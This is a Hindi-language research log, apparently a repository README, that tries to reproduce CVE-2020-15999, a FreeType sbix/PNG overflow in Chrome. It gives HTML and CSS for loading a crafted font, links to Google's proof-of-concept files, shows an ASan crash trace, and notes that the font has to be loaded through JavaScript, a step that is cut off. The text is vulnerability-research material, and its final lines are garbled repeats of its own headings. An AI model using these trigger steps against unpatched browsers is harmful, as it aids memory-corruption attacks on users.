CVE-2020-15999

SBIX तालिका वाला फ़ॉन्ट जोड़ा गया (Arial पर आधारित) - https://docs.microsoft.com/en-us/typography/opentype/spec/sbix

ftview (asan.png) में क्रैश होता है लेकिन किसी तरह Chrome को क्रैश नहीं कर पाता

फ़्लैग्स भी सही ढंग से सेट नहीं हैं इसलिए load_sbit_image() भी कॉल नहीं होता। अजीब है।

इसे इस प्रकार कॉल करना:

index.html```

    <link rel="stylesheet" href="style.css" type="text/css" media="all" />
    
    <style>

        .sample {
            font-family: 'UntitledTTF';
            border: 1px solid #ddd;
            display: inline-block;
            padding: 10px;
        }
    </style>
</head>
<body>

    <p class="sample">
        The quick brown fox jumps over the lazy dog
    </p>

</body>

``` stlye.css``` @font-face { font-family: "UntitledTTF"; src: url("./fonts/font.eot"); /* IE9 Compat Modes */ src: url("./fonts/font.eot?#iefix") format("embedded-opentype"), /* IE6-IE8 */ url("./fonts/font.svg") format("svg"), /* Legacy iOS */ url("./fonts/arialnew.ttf.sbix.ttf") format("truetype"), /* Safari, Android, iOS */ url("./fonts/font.woff") format("woff"), /* Modern Browsers */ url("./fonts/font.woff2") format("woff2"); /* Modern Browsers */ font-weight: normal; font-style: normal; } .adjust { font-size-adjust: 2; } ``` शायद किसी को पता हो कि इसे कैसे ट्रिगर किया जाए, ज्यादा भाग्य हो। यदि नहीं, तो मैं Google से राइटअप की प्रतीक्षा करूंगा।

अपडेट 1

Chrome को क्रैश कराने में सफल रहा ... डीबगर में कुछ फ़ॉन्ट पैरामीटर ट्यून करने पड़े, जिसका मतलब है कि आप इसे फ़ॉन्ट में भी कर सकते हैं। बने रहें। CVE-2020-15999

अपडेट 2

यह इसे ट्रिगर करना चाहिए (Google PoC)। मैं देखता हूँ कि फ़ॉन्ट JavaScript के माध्यम से लोड किया गया है, तो मेरे प्रयास से अलग है:

https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=472035

जैसे-जैसे समय मिलेगा, मैं इसे डीबग करूंगा...

अपडेट 3

सभी पिछली डीबगिंग Chromium के साथ की, ऐसा लगता है कि कोडबेस तब भिन्न है। यह बहुत कुछ समझा सकता है।

Chrome के साथ, Google का PoC काम करता है: https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=472398

Chromium के साथ नहीं करता।

ऐसा लगता है कि यह कई जाँचों पर रुक जाता है। यदि मैं उन्हें पास होने के लिए सेट करता हूँ, तो यह सभी PoCs के साथ क्रैश हो जाता है:``` Received signal 11 SEGV_MAPERR 000000000000 #0 0x55555d7ace0b in backtrace /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:4176:13 #1 0x7ffff796c8df in base::debug::CollectStackTrace(void**, unsigned long) ./../../base/debug/stack_trace_posix.cc:833:39 #2 0x7ffff7247239 in base::debug::StackTrace::StackTrace(unsigned long) ./../../base/debug/stack_trace.cc:198:12 #3 0x7ffff7247098 in base::debug::StackTrace::StackTrace() ./../../base/debug/stack_trace.cc:195:28 #4 0x7ffff796ae6d in base::debug::(anonymous namespace)::StackDumpSignalHandler(int, siginfo_t*, void*) ./../../base/debug/stack_trace_posix.cc:345:3 #5 0x7fff555c48a0 in __funlockfile ??:? #6 0x7fff555c48a0 in ?? ??:0 #7 0x7fff51cfd5ee in ?? /build/glibc-2ORdQG/glibc-2.27/string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:277:0 #8 0x55555d7efca2 in __asan_memcpy /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3 #9 0x7fffa01df08f in read_data_from_FT_Stream ./../../third_party/freetype/src/src/sfnt/pngshim.c:245:5 #10 0x7fffa0865f6d in cr_png_read_data ./../../third_party/libpng/pngrio.c:37:7 #11 0x7fffa08927b0 in cr_png_read_sig ./../../third_party/libpng/pngrutil.c:137:4 #12 0x7fffa0852e02 in cr_png_read_info ./../../third_party/libpng/pngread.c:104:4 #13 0x7fffa01dd6a3 in Load_SBit_Png ./../../third_party/freetype/src/src/sfnt/pngshim.c:322:5 #14 0x7fffa01d9440 in tt_face_load_sbix_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1548:15 #15 0x7fffa01aa6d7 in tt_face_load_sbit_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1611:15 #16 0x7fffa0246ddb in load_sbit_image ./../../third_party/freetype/src/src/truetype/ttgload.c:2429:13 #17 0x7fffa0244f77 in TT_Load_Glyph ./../../third_party/freetype/src/src/truetype/ttgload.c:2834:15 #18 0x7fffa020467e in tt_glyph_load ./../../third_party/freetype/src/src/truetype/ttdriver.c:474:13 #19 0x7fffa005ff2f in FT_Load_Glyph ./../../third_party/freetype/src/src/base/ftobjs.c:948:15

##  Update 4

नहीं ... सब कुछ सही है।

ट्रिगर करने के लिए आपको JavaScript के माध्यम से फ़ॉन्ट लोड करना होगा, CSS के माध्यम से लोड करने से काम नहीं चलता:

यानी```

CVE-2020-15999

सबसे लोकप्रिय

CVE-2020-15999

अपडेट 1

अपडेट 2

अपडेट 3